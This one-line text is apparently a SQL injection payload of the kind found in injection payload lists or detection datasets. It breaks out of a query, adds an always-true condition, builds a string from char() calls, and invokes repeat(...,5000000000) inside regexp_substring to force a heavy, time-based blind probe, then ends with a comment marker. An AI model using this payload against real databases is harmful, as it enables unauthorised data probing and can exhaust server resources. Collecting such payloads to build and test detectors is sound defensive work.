"1  )   as clye where 7842  =  7842 and char  (  109  )  ||char  (  79  )  ||char  (  70  )  ||char  (  90  )    =  regexp_substring  (  repeat  (  right  (  char  (  5012  )  ,0  )  ,5000000000  )  ,null  )  --"